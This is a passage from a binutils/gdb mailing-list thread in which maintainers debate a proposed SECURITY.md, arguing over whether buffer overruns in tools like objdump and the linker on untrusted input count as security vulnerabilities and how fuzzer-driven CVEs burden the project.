caused a buffer overrun in the objdump binary. >>>> >>>> ... and that's a robustness issue. Any buffer overrun in any >>>> program could in theory be exploited to send out files. >>>> >>> >>> So what's your point? These /are/ vulnerabilities in the program and >>> need to be considered security issues. >> >> I already made my point; I agree that they are security issues but the >> security mitigation mechanism is in the environment, not the program. >> I do not think it is in the interest of the binutils project to >> guarantee safety in analysis of untrusted programs without requisite >> protections of the environment. >> >> Sid > > Any buffer overflow where the data used to do the overflow comes from an > object file is a potential breach, unless the program can detect this > and make a controlled abort before any possible break-out can occur. > > The key here is defence in depth. It's not enough to say that > everything must be done in a sandbox, even if that is advisable. They key is in what a project can feasibly guarantee and IMO the binutils project is not in a position to guarantee this level of security. By putting this into SECURITY.md, we'll be signing ourselves (and downstream maintainers) up for much more than they can handle. If the goal for being able to safely analyze untrusted binaries without sandboxing is desirable then the project needs to invest resources to making it happen, not make a promise first and then look for those resources. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 12:43 ` Siddhesh Poyarekar @ 2023-04-14 12:49 ` Richard Earnshaw 2023-04-14 13:13 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Richard Earnshaw @ 2023-04-14 12:49 UTC (permalink / raw) To: Siddhesh Poyarekar, Nick Clifton, Binutils; +Cc: gdb On 14/04/2023 13:43, Siddhesh Poyarekar wrote: > They key is in what a project can feasibly guarantee and IMO the > binutils project is not in a position to guarantee this level of > security. By putting this into SECURITY.md, we'll be signing ourselves > (and downstream maintainers) up for much more than they can handle. No, that's covered by the warranty: GNU tools come with no warranty ... What it is about is what we would do if such a vulnerability were discovered. R. ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 12:49 ` Richard Earnshaw @ 2023-04-14 13:13 ` Siddhesh Poyarekar 0 siblings, 0 replies; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-14 13:13 UTC (permalink / raw) To: Richard Earnshaw, Nick Clifton, Binutils; +Cc: gdb On 2023-04-14 08:49, Richard Earnshaw wrote: > > > On 14/04/2023 13:43, Siddhesh Poyarekar wrote: >> They key is in what a project can feasibly guarantee and IMO the >> binutils project is not in a position to guarantee this level of >> security. By putting this into SECURITY.md, we'll be signing >> ourselves (and downstream maintainers) up for much more than they can >> handle. > > No, that's covered by the warranty: GNU tools come with no warranty ... > > What it is about is what we would do if such a vulnerability were > discovered. It's not about what we would do if a vulnerability were discovered. It is about: 1. What is considered a security issue; this ties into contexts in which binutils tools can be used safely. 2. How users can report bugs they think may have security consequences. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 15:02 ` Siddhesh Poyarekar 2023-04-13 15:05 ` Richard Earnshaw @ 2023-04-13 15:08 ` Paul Koning 2023-04-13 16:02 ` Siddhesh Poyarekar 2023-04-13 16:06 ` Richard Earnshaw 1 sibling, 2 replies; 56+ messages in thread From: Paul Koning @ 2023-04-13 15:08 UTC (permalink / raw) To: Siddhesh Poyarekar; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb > On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: > > On 2023-04-13 10:50, Richard Earnshaw wrote: >> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it. You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :) > > You can verify it for issues, in a sandbox. > >> But all that is beside the point. The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary. > > ... and that's a robustness issue. Any buffer overrun in any program could in theory be exploited to send out files. No. Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits. A buiffer overrun would be merely a robustness issue if it is guaranteed to cause nothing worse than a program abort. paul ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 15:08 ` Paul Koning @ 2023-04-13 16:02 ` Siddhesh Poyarekar 2023-04-13 16:49 ` Paul Koning 2023-04-13 16:06 ` Richard Earnshaw 1 sibling, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 16:02 UTC (permalink / raw) To: Paul Koning; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-13 11:08, Paul Koning wrote: > > >> On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: >> >> On 2023-04-13 10:50, Richard Earnshaw wrote: >>> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it. You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :) >> >> You can verify it for issues, in a sandbox. >> >>> But all that is beside the point. The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary. >> >> ... and that's a robustness issue. Any buffer overrun in any program could in theory be exploited to send out files. > > No. Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits. They're a common security exploit vector, but context matters. If you have local access to a system, you can already execute arbitrary code; a buffer overrun itself is not going to help you do anything that you couldn't already do. By letting in an untrusted file or by accepting inputs over a network, you're opening up a *new* vector to actually exploit the buffer overflow to do something you couldn't already do. > A buiffer overrun would be merely a robustness issue if it is guaranteed to cause nothing worse than a program abort. Context matters here too. Over a network or under some circumstances with other kinds of untrusted input (such as downloaded files), a simple program abort will result in a DoS, which is a security issue. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 16:02 ` Siddhesh Poyarekar @ 2023-04-13 16:49 ` Paul Koning 2023-04-13 17:00 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Paul Koning @ 2023-04-13 16:49 UTC (permalink / raw) To: Siddhesh Poyarekar; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb > On Apr 13, 2023, at 12:02 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: > > On 2023-04-13 11:08, Paul Koning wrote: >>> On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: >>> >>> On 2023-04-13 10:50, Richard Earnshaw wrote: >>>> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it. You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :) >>> >>> You can verify it for issues, in a sandbox. >>> >>>> But all that is beside the point. The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary. >>> >>> ... and that's a robustness issue. Any buffer overrun in any program could in theory be exploited to send out files. >> No. Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits. > > They're a common security exploit vector, but context matters. If you have local access to a system, you can already execute arbitrary code; a buffer overrun itself is not going to help you do anything that you couldn't already do. By letting in an untrusted file or by accepting inputs over a network, you're opening up a *new* vector to actually exploit the buffer overflow to do something you couldn't already do. Yes, but... If someone sends me an executable file, and I execute it and suffer a virus, shame on me. If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool. I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so. The key point is expectation. I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom. Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat). paul ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 16:49 ` Paul Koning @ 2023-04-13 17:00 ` Siddhesh Poyarekar 2023-04-13 17:05 ` Paul Koning 2023-04-14 17:37 ` Ian Lance Taylor 0 siblings, 2 replies; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 17:00 UTC (permalink / raw) To: Paul Koning; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-13 12:49, Paul Koning wrote: > If someone sends me an executable file, and I execute it and suffer a virus, shame on me. If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool. If someone sends me a C source file and I compile and link it without inspecting it first, then definitely shame on me again. Compilers and linkers assume *trusted* input. > I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so. The key point is expectation. I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom. Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat). > It's valid for you to assume that you're not seen when you're at home in your bathroom. However, if you take a random device someone gives you with you in your bathroom without actually checking what it does... Anyway like I said to Richard, it's all well and good to say that binutils *should* be able to handle untrusted inputs. The reality is that it is not in a position to make that claim and the only reasonable security position the project can take is to strongly recommend either validating inputs (to make them trusted) or running the tools in a sandbox. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 17:00 ` Siddhesh Poyarekar @ 2023-04-13 17:05 ` Paul Koning 2023-04-13 17:29 ` Siddhesh Poyarekar 2023-04-14 17:37 ` Ian Lance Taylor 1 sibling, 1 reply; 56+ messages in thread From: Paul Koning @ 2023-04-13 17:05 UTC (permalink / raw) To: Siddhesh Poyarekar; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb > On Apr 13, 2023, at 1:00 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: > > On 2023-04-13 12:49, Paul Koning wrote: >> If someone sends me an executable file, and I execute it and suffer a virus, shame on me. If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool. > > If someone sends me a C source file and I compile and link it without inspecting it first, then definitely shame on me again. Compilers and linkers assume *trusted* input. That's news to me. It is true that not all text is valid C, and some text has "undefined" behavior. But "undefined" is a property of the resulting executable program, NOT of the act of compiling it. I have never before seen anyone suggest that submitting a bad program to a compiler could reasonably be expected to result in that compiler attacking the security of your system, or that if it did so it wouldn't be a security bug in that compiler. >> I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so. The key point is expectation. I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom. Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat). > > It's valid for you to assume that you're not seen when you're at home in your bathroom. However, if you take a random device someone gives you with you in your bathroom without actually checking what it does... > > Anyway like I said to Richard, it's all well and good to say that binutils *should* be able to handle untrusted inputs. The reality is that it is not in a position to make that claim and the only reasonable security position the project can take is to strongly recommend either validating inputs (to make them trusted) or running the tools in a sandbox. So what you're saying is that, at least in your view, the quality of binutils is so low that it is unlikely to meet the reasonable expectation I voiced. And furthermore, that it is in such bad shape that it's unreasonable to consider fixing it so it does meet those reasonable expectations. I rather doubt either assumption is true. But if it is, we should say so (or, arguably, discontinue the project). paul ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 17:05 ` Paul Koning @ 2023-04-13 17:29 ` Siddhesh Poyarekar 2023-04-13 17:37 ` Paul Koning 0 siblings, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 17:29 UTC (permalink / raw) To: Paul Koning; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-13 13:05, Paul Koning wrote: > > >> On Apr 13, 2023, at 1:00 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: >> >> On 2023-04-13 12:49, Paul Koning wrote: >>> If someone sends me an executable file, and I execute it and suffer a virus, shame on me. If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool. >> >> If someone sends me a C source file and I compile and link it without inspecting it first, then definitely shame on me again. Compilers and linkers assume *trusted* input. > > That's news to me. > > It is true that not all text is valid C, and some text has "undefined" behavior. But "undefined" is a property of the resulting executable program, NOT of the act of compiling it. I have never before seen anyone suggest that submitting a bad program to a compiler could reasonably be expected to result in that compiler attacking the security of your system, or that if it did so it wouldn't be a security bug in that compiler. I haven't seen anyone suggest (and have seen many balk at) the idea of crashes/buffer overruns in compilers being considered security issues. Only lately (i.e. the last few years) has there been a spate of fuzzed reports that security researchers file CVEs for to increase their "kill" count. When we have the energy to do so, we dispute them and have them rejected, but many just go through, wasting days and weeks of time across the industry to respin builds and release updates. The only accepted security implication for compilers is when it takes in valid code and spews out a program that invoke undefined behaviour. >>> I don't expect the act of compiling or linking or objdumping to compromise my system's security, any more than I expect the act of editing a text file to do so. The key point is expectation. I'm reminded of a legal rule seen, for example, in "expectation of privacy": I should assume I can be seen when walking around town, but it is valid for me to assume I'm not seen when at home in my bathroom. Similarly, I should assume my system can get attacked when I execute a program, but it is reasonable for me to assume no attack is possible when I run gcc or objdump (or hexdump or cat). >> >> It's valid for you to assume that you're not seen when you're at home in your bathroom. However, if you take a random device someone gives you with you in your bathroom without actually checking what it does... >> >> Anyway like I said to Richard, it's all well and good to say that binutils *should* be able to handle untrusted inputs. The reality is that it is not in a position to make that claim and the only reasonable security position the project can take is to strongly recommend either validating inputs (to make them trusted) or running the tools in a sandbox. > > So what you're saying is that, at least in your view, the quality of binutils is so low that it is unlikely to meet the reasonable expectation I voiced. And furthermore, that it is in such bad shape that it's unreasonable to consider fixing it so it does meet those reasonable expectations. > > I rather doubt either assumption is true. But if it is, we should say so (or, arguably, discontinue the project). This is not the first time we've had this conversation[1] and there is a lot more nuance to this than "so you think binutils sux and should die". There are practical issues and design concerns that cannot be immediately addressed. Instead of giving the false impression of security, it makes more sense to make clear what the state of the project is and how users could safely consume it. Sid [1] https://inbox.sourceware.org/binutils/6f99c92f-1986-b8f0-0854-868598421dda@gotplt.org/t/ ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 17:29 ` Siddhesh Poyarekar @ 2023-04-13 17:37 ` Paul Koning 2023-04-13 18:16 ` Siddhesh Poyarekar 0 siblings, 1 reply; 56+ messages in thread From: Paul Koning @ 2023-04-13 17:37 UTC (permalink / raw) To: Siddhesh Poyarekar; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb > On Apr 13, 2023, at 1:29 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: > > On 2023-04-13 13:05, Paul Koning wrote: >>> On Apr 13, 2023, at 1:00 PM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: >>> >>> On 2023-04-13 12:49, Paul Koning wrote: >>>> If someone sends me an executable file, and I execute it and suffer a virus, shame on me. If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool. >>> >>> If someone sends me a C source file and I compile and link it without inspecting it first, then definitely shame on me again. Compilers and linkers assume *trusted* input. >> That's news to me. >> It is true that not all text is valid C, and some text has "undefined" behavior. But "undefined" is a property of the resulting executable program, NOT of the act of compiling it. I have never before seen anyone suggest that submitting a bad program to a compiler could reasonably be expected to result in that compiler attacking the security of your system, or that if it did so it wouldn't be a security bug in that compiler. > > I haven't seen anyone suggest (and have seen many balk at) the idea of crashes/buffer overruns in compilers being considered security issues. Not all buffer overruns cause security issues. Those that crash the program with the buffer overrun are not security issues (unless you're considering the category of Denial of Service attacks). But a buffer overrun that enables the execution of arbitrary code IS a security issue. Who do you know to "balk at" that principle? This is no different from how one analyzes buffer overruns in networking applications. If the consequence of the error is nothing worse than an abort of that application, it's DoS and would typically not be considered serious. If it allows code to be inserted and executed in the context of the application, then that is serious and is a security defect. The same goes for any other application whose specification says that it processes -- but does not execute -- its inputs. paul ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 17:37 ` Paul Koning @ 2023-04-13 18:16 ` Siddhesh Poyarekar 0 siblings, 0 replies; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-13 18:16 UTC (permalink / raw) To: Paul Koning; +Cc: Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-13 13:37, Paul Koning wrote: >> I haven't seen anyone suggest (and have seen many balk at) the idea of crashes/buffer overruns in compilers being considered security issues. > > Not all buffer overruns cause security issues. Those that crash the program with the buffer overrun are not security issues (unless you're considering the category of Denial of Service attacks). But a buffer overrun that enables the execution of arbitrary code IS a security issue. > > Who do you know to "balk at" that principle? I've discussed the idea of compiler bugs in general being considered security issues, not specifically about arbitrary code execution through a buffer overflow because of untrusted/crafted inputs. I do in fact intend to write up a SECURITY.md for gcc, so perhaps it will become an opportunity to formalize this. For binutils we need more people to pitch in to decide a direction since we don't have agreement yet. > This is no different from how one analyzes buffer overruns in networking applications. If the consequence of the error is nothing worse than an abort of that application, it's DoS and would typically not be considered serious. If it allows code to be inserted and executed in the context of the application, then that is serious and is a security defect. The same goes for any other application whose specification says that it processes -- but does not execute -- its inputs. The seriousness of the DoS depends on the triviality of an attack. There can, for example, be Important DoS if it's trivial to invoke and is widely possible in default configurations. Also, arbitrary code execution does not require code to be inserted; it's common to use ROPs/JOPs in existing code to achieve that. This is also why memory safety bugs that don't always immediately result in a crash can be assumed in the worst case to result in arbitrary code execution. Now whether that arbitrary code execution is security relevant depends on the context in which the bug can be exploited: 1. It could be through local access, in which case it is not security relevant because the user could run arbitrary code anyway 2. Untrusted local input (such as files downloaded off the internet), in which case it is security relevant if the application is hardened and designed to work on untrusted input 3. Remote input, in which case inputs are assumed to be untrusted and hence always security relevant Binutils falls in 1. (for as, ld, etc.) and 2. (for readelf, objdump, etc.) and for case 2, it's upon us to decide whether we consider the tools hardened to work on untrusted inputs. I don't think they are, which is why they need to be sandboxed to eliminate the security aspect of any bugs in them. Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 17:00 ` Siddhesh Poyarekar 2023-04-13 17:05 ` Paul Koning @ 2023-04-14 17:37 ` Ian Lance Taylor 2023-04-14 18:27 ` Siddhesh Poyarekar 2023-04-14 19:45 ` DJ Delorie 1 sibling, 2 replies; 56+ messages in thread From: Ian Lance Taylor @ 2023-04-14 17:37 UTC (permalink / raw) To: Siddhesh Poyarekar Cc: Paul Koning, Richard Earnshaw, Nick Clifton, Binutils, gdb On Thu, Apr 13, 2023 at 10:01 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: > > On 2023-04-13 12:49, Paul Koning wrote: > > If someone sends me an executable file, and I execute it and suffer a virus, shame on me. If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool. > > If someone sends me a C source file and I compile and link it without > inspecting it first, then definitely shame on me again. Compilers and > linkers assume *trusted* input. I profoundly disagree with this. Compilers and linkers must behave in a reasonable manner when given untrusted input. Behaving reasonably can of course include failing with an error message like "program too large", but they must not dump core and they must not use up all available memory. They very much must not have a buffer overflow during compilation that causes them to execute arbitrary code. Users should not be expected to run compilers and linkers in a security sandbox (though it would be acceptable for a compiler to set up its own security sandbox if that seems useful). Ian ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 17:37 ` Ian Lance Taylor @ 2023-04-14 18:27 ` Siddhesh Poyarekar 2023-04-14 20:46 ` Ian Lance Taylor 2023-04-14 19:45 ` DJ Delorie 1 sibling, 1 reply; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-14 18:27 UTC (permalink / raw) To: Ian Lance Taylor Cc: Paul Koning, Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-14 13:37, Ian Lance Taylor wrote: > On Thu, Apr 13, 2023 at 10:01 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: >> >> On 2023-04-13 12:49, Paul Koning wrote: >>> If someone sends me an executable file, and I execute it and suffer a virus, shame on me. If someone sends me a C source file and I compile and link that BUT DO NOT EXECUTE the resulting executable, and I suffer a virus, shame on the tool. >> >> If someone sends me a C source file and I compile and link it without >> inspecting it first, then definitely shame on me again. Compilers and >> linkers assume *trusted* input. > > I profoundly disagree with this. I should reiterate that this is not about robustness, it is about treatment of bugs as security issues, i.e. by assigning CVEs and sending out advisories to the larger user community. I am not arguing against fixing bugs at all. > Compilers and linkers must behave in a reasonable manner when given > untrusted input. Behaving reasonably can of course include failing > with an error message like "program too large", but they must not dump > core and they must not use up all available memory. They very much > must not have a buffer overflow during compilation that causes them to > execute arbitrary code. Users should not be expected to run compilers A compiler crash, core dump, etc. is definitely a serious bug and we consider them as P1/P2 in almost all cases. However to be considered a security issue, the input has to be crafted and that's where the user comes in; their responsibility is to ensure that they don't build untrusted code (e.g. when they're trying to study malware or virus sources or binaries) outside of sandboxes. The expectation is *not* that they always run compilers in a sandbox, it is that they're aware of the code they're trying to compile and IMO it is not an unreasonable expectation. The odds of even minimally trusted code (like an upstream project) resulting in, e.g. overwriting or corrupting some persistent state (like some file on disk) or sending out private information due to a buffer overflow in gcc, ld, or even objdump is near-zero. The code would have to be specially *crafted* (or the operator being remarkably unlucky) to achieve that. If as a project we decide to treat untrusted input as a valid use case, it is going to shift the goalposts for binutils (and gcc, if we take the same stand there). I suppose golang does try to adhere to these higher standards somewhat but I am not well versed with their formal position on this. I've seen them consider bugs due to untrusted regex inputs as security issues whereas even glibc currently doesn't, except for some very specific conditions. The llvm project doesn't consider anything[1] a security issue at the moment. I was told off-hand by a rust maintainer that the rust community also pretty much aligns with the llvm position, but I don't have a handy reference for it. If binutils, gcc, etc. aspire to the levels of support that golang provides, we need to do what the llvm community is currently doing, i.e. form a security group and incrementally identify parts that we want to identify as security sensitive and provide stronger security guarantees for them. My previous suggestion to do that was discouraged[2], so if that has changed today then we could move in that direction. > and linkers in a security sandbox (though it would be acceptable for a > compiler to set up its own security sandbox if that seems useful). I suggested an --isolate flag for the analysis tools (objdump, etc.) to do exactly this elsewhere in this thread. Thanks, Sid [1] https://llvm.org/docs/Security.html#what-is-considered-a-security-issue [2] https://inbox.sourceware.org/binutils/YBD72RqjVomppMYS@vapier/ ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 18:27 ` Siddhesh Poyarekar @ 2023-04-14 20:46 ` Ian Lance Taylor 2023-04-14 21:24 ` Siddhesh Poyarekar 2023-04-17 15:31 ` Michael Matz 0 siblings, 2 replies; 56+ messages in thread From: Ian Lance Taylor @ 2023-04-14 20:46 UTC (permalink / raw) To: Siddhesh Poyarekar Cc: Paul Koning, Richard Earnshaw, Nick Clifton, Binutils, gdb On Fri, Apr 14, 2023 at 11:27 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: > > A compiler crash, core dump, etc. is definitely a serious bug and we > consider them as P1/P2 in almost all cases. However to be considered a > security issue, the input has to be crafted and that's where the user > comes in; their responsibility is to ensure that they don't build > untrusted code (e.g. when they're trying to study malware or virus > sources or binaries) outside of sandboxes. I believe I understand what you are saying, and I don't agree. We live in a time where free software has succeeded. People routinely rely on gigantic libraries provided as source code by people across the Internet. 10% of the projects on GitHub are written at least partially in C++. To argue that people should not even compile untrusted code is to speak about a world that simply does not exist today. Very few people working on application level code can trust their entire software supply chain. This means that software development must be secure at every level. We must not rely on the single layer of defense of trusting source code, a defense that very few people can maintain. We must defend at other levels. The binutils developers must play their own small part in this, which is to assemble and link code correctly, and to not make the assembler, linker, and related tools themselves into vectors for security issues. > If as a project we decide to treat untrusted input as a valid use case, > it is going to shift the goalposts for binutils (and gcc, if we take the > same stand there). I suppose golang does try to adhere to these higher > standards somewhat but I am not well versed with their formal position > on this. I've seen them consider bugs due to untrusted regex inputs as > security issues whereas even glibc currently doesn't, except for some > very specific conditions. Yes, the Go project does aim to adhere to these higher standards, because, in my opinion, they are the correct standards. And, honestly, these are not standards that are unusually difficult to meet. Don't dump core, don't use up all of memory, don't have buffer overflows. Treat failures of this sort as security bugs to be fixed ASAP in minor releases. These are achievable goals. Ian ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 20:46 ` Ian Lance Taylor @ 2023-04-14 21:24 ` Siddhesh Poyarekar 2023-04-17 15:31 ` Michael Matz 1 sibling, 0 replies; 56+ messages in thread From: Siddhesh Poyarekar @ 2023-04-14 21:24 UTC (permalink / raw) To: Ian Lance Taylor Cc: Paul Koning, Richard Earnshaw, Nick Clifton, Binutils, gdb On 2023-04-14 16:46, Ian Lance Taylor wrote: > On Fri, Apr 14, 2023 at 11:27 AM Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: >> >> A compiler crash, core dump, etc. is definitely a serious bug and we >> consider them as P1/P2 in almost all cases. However to be considered a >> security issue, the input has to be crafted and that's where the user >> comes in; their responsibility is to ensure that they don't build >> untrusted code (e.g. when they're trying to study malware or virus >> sources or binaries) outside of sandboxes. > > I believe I understand what you are saying, and I don't agree. > > We live in a time where free software has succeeded. People routinely > rely on gigantic libraries provided as source code by people across > the Internet. 10% of the projects on GitHub are written at least > partially in C++. To argue that people should not even compile > untrusted code is to speak about a world that simply does not exist > today. Very few people working on application level code can trust > their entire software supply chain. > > This means that software development must be secure at every level. > We must not rely on the single layer of defense of trusting source > code, a defense that very few people can maintain. We must defend at > other levels. > > The binutils developers must play their own small part in this, which > is to assemble and link code correctly, and to not make the assembler, > linker, and related tools themselves into vectors for security issues. I don't disagree with that as an end goal (I even suggested that in that previous thread last year), I think our disagreement is in how we get there in terms of policy, which is a result of that conversation from last year and from exploring how llvm and rust are handling it. >> If as a project we decide to treat untrusted input as a valid use case, >> it is going to shift the goalposts for binutils (and gcc, if we take the >> same stand there). I suppose golang does try to adhere to these higher >> standards somewhat but I am not well versed with their formal position >> on this. I've seen them consider bugs due to untrusted regex inputs as >> security issues whereas even glibc currently doesn't, except for some >> very specific conditions. > > Yes, the Go project does aim to adhere to these higher standards, > because, in my opinion, they are the correct standards. > > And, honestly, these are not standards that are unusually difficult to > meet. Don't dump core, don't use up all of memory, don't have buffer > overflows. Treat failures of this sort as security bugs to be fixed > ASAP in minor releases. These are achievable goals. Sure, they're achievable with adequate resources, but I'm not sure if the binutils project has that; that was in essence the conclusion of last year's conversation FWIW. That of course is a question for the maintainers of the project. Thanks, Sid ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 20:46 ` Ian Lance Taylor 2023-04-14 21:24 ` Siddhesh Poyarekar @ 2023-04-17 15:31 ` Michael Matz 2023-04-17 19:55 ` Ian Lance Taylor 1 sibling, 1 reply; 56+ messages in thread From: Michael Matz @ 2023-04-17 15:31 UTC (permalink / raw) To: Binutils Cc: Ian Lance Taylor, Siddhesh Poyarekar, Paul Koning, Richard Earnshaw, Nick Clifton, gdb Hello, On Fri, 14 Apr 2023, Ian Lance Taylor via Binutils wrote: > And, honestly, these are not standards that are unusually difficult to > meet. Don't dump core, don't use up all of memory, don't have buffer > overflows. Treat failures of this sort as security bugs to be fixed > ASAP in minor releases. These are achievable goals. These are all noble goals to reach for. But the fact is that all the crap CVE entries from script-kiddies with their fuzzers are mainly fixed by Alan with his seemingly endless patience. Downstream they are the cause of endless worries (as customers blindly _demand_ that all CVEs be fixed by checking tickmarks on an endless list of entries they've downloaded last week from mitre; just by virtue of the entry having a CVE number and hence "be a serious security problem"). All of these are bugs to be fixed eventually. Literally _none_ of them are in any way a serious bug demanding an immediate fix. Next release is completely fine for that. The endless trouble is in either (a) disputing the CVE with mitre, or (b) discussing each of the entries with the customer of why it's harmless and so on or (c) to backport zillions of useless patches to multiple codestreams and (d) to rebuild all stuff with the new patched binutils. And _then_ multiply this by the overwhelming feeling of wasting lifetime on completely irrelevant, unrealistic and stupid problems that noone in a realistic world will hit. Fixing the (e.g. buffer overflow) bug is good. Fixing it "right now because I'm important" is not. Essentially fuzzers have destroyed any value of the CVE database (they are wonderful as bug hunters, don't get me wrong on that; but CVEs are meanwhile used as "I'm important, fix my bug right now!!!"). We as downstream for instance, since a long time, essentially defer all binutiles "CVEs" resulting from fuzzing to the next release of binutils (even though updating to new releases in old codestreams brings its own problems, they are just a lot easier to deal with than backporting 100 "CVE" fixes, where each of them poses the danger of introducing an actual bug). If it were me my SECURITY.md text would read "If you get a CVE from a fuzzed input we ignore you. Report it as normal bug and stop hunting for a CVE-entry ranking record.", but I can see why that might be a bit too blunt :) Sorry for the rant :) Ciao, Michael. ^ permalink raw reply [flat|nested] 56+ messages in thread
